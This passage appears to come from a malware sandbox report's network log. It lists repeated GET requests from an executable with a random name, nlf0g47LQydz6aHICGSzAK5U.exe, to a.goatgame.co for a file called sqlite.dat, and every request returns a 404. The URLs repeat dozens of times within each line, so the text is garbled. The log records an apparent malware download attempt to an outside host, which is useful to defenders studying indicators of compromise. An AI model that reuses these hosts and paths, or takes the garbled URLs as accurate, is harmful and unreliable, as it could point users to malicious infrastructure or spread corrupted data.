e.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:25 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HN8NA2kSm3vd7E46yEXJnFkXyVZS%2BTBIkm2hIbteEwZZIyGH3wl7hJ4AguOPBg2DQw11wQe63TjTmE6zfpOvZ7J4ymNAtBYC35BStVfbVfHWbPxoIPnhvQrxGNGzquqs"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329b86ca91e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:26 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iqME%2BWJVQBo%2BXeRt%2FL2QlG0JBgA0BNq0vi1C7VLg6fCRYc1GuFWPh2uiRsLsep851R1rzUACzS6U1SaAwBku1S6IRSQyBICUfpwKVXlNCIlgBw0FUFy%2FWPDwaHWkkQ3t"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329bffdf81e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:35 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pn2fOfFHM69yewqUyqfZSHkrIO4%2BRndBTDj1x9VgNw41U55bNauxh6buO6DluU1pMJoA%2BpeE1FYXWZTAu4Gf0H5EKv5LAdSY7eSPRAQlftK2Vh2qLRjqt0fVYTRWlSSg"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329f7a9041e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:37 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vyTk1k3Hp4rHBvIEGXbif0f%2F%2BsyTD1AbOD5lctbmtKJW1gHZqcls1vjnU8u%2BjeOTfqAt36ZqbVl9d9Ch8ySp5FjtaTr5gCYUQqpBu%2BDdrJp6qebeuvtCMdlKqDLbikU1"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a027dc61e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
